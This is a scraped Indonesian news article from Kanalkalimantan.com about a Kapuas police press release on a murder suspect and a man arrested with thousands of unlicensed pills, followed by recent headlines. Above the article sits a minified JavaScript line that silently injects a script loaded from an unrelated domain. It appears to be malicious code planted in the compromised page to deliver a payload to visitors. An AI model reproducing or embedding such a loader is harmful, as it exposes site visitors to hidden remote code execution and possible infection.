(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Polres Kapuas Ungkap Dua Kasus, Pembunuhan di Desa Tumbang Tihis, Kepemilikan Ribuan Obat Terlarang


KANALKALIMANTAN.COM, KUALA KAPUAS – Polres Kapuas menggelar press rilis kasus tindak pidana pembunuhan yang terjadi di Sungai Daha, Desa Tumbang Tihis, Kecamatan Mandau Talawang, Kabupaten Kapuas.

Peristiwa berdarah yang terjadi pada Senin, 24 Oktober 2022 lalu, polisi telah mengamankan dan menetapkan satu tersangka laki-laki berinisial I (24) warga Desa Tumbang Puroh, Kecamatan Kapuas Hulu, diduga telah melakukan tindak pidana pembunuhan terhadap AY yang merupakan rekan kerjanya.

Hal itu diungkapkan Kapolres Kapuas AKBP Qori Wicaksono didampingi Wakapolres Kompol I Kadek Dwi Yoga S, Kasatreskrim Iptu Iyudi Hartanto, dan Kasatresnarkoba Iptu Subandi, serta Kapolsek Kapuas Hulu Iptu Debby S, Jumat (28/10/2022).

“Tersangka kasus pembunuhan diamankan, setelah pada 26 Oktober 2022, tersangka diserahkan oleh pihak keluarganya ke Polsek Kapuas Hulu, untuk mempertanggungjawabkan perbuatan dan diproses hukum,” kata AKBP Qori Wicaksono.

 

Baca juga  :  Nasib Pasar Antasari Banjarmasin, Banyak Toko Kosong hingga Rentan Aksi Perkelahian

Adapun barang bukti yang diamankan berupa satu buah senter kepala warna silver, selembar baju kaos lengan pendek warna hitam yang terdapat bekas robek pada bagian pundak sebelah kiri, dan satu lembar celana pendek merk pashion warna hitam lis abu-abu.

“Akibat perbuatannya, pelaku akan dikenakan Pasal 338 KUHP jo pasal 351 ayat (3) KUHP, dengan ancaman penjara paling lama 15 tahun,” jelasnya.

Kapolres Kapuas juga akan membeberkan kronologis dan motif dari peristiwa tersebut.

Selain melakukan rilis kasus pembunuhan tersebut, juga merilis pengungkapan kasus obat-obatan terlarang. Satresnarkoba Polres Kapuas menciduk pria berinisial MT alias ID (34) bersama barang bukti ribuan butir obat di kediamannya dalam perkara tindak pidana mengedarkan sediaan farmasi.

Terlapor MT, diamankan di rumahnya di Jalan Mahakam Kuala Kapuas, hasil pengeledahan dari tangan terlapor didapati sejumlah barang bukti ribuan butir obat tanpa izin edar.

 

Baca juga : Bupati Banjar Lantik 5 Pejabat Eselon Dua yang Baru, Ini Nama-namanya

“Barang bukti yang diamankan 3.708 butir obat tanpa merek berlogo SL, 700 butir obat tanpa merk berlogo Samco, 40 keping obat dengan merk Samcodin (400 butir), 125 keping obat dengan merk Seledryl (1.500 butir),” ungkap Kapolres Kapuas.

Turut diamankan barang bukti uang tunai Rp 695 ribu serta barang bukti lain yang berkaitan dengan perkara itu.

Atas perbuatannya terlapor dijerat dengan Pasal 197 jo pasal 196 Undang-Undang nomor 36 tahun 2009 tentang Kesehatan jo pasal 53 KUHPidana.

“Terlapor berikut barang bukti saat ini sudah diamankan di Polres Kapuas, untuk proses hukum lebih lanjut,” pungkasnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

3 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

5 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

9 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

9 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

12 jam ago

This website uses cookies.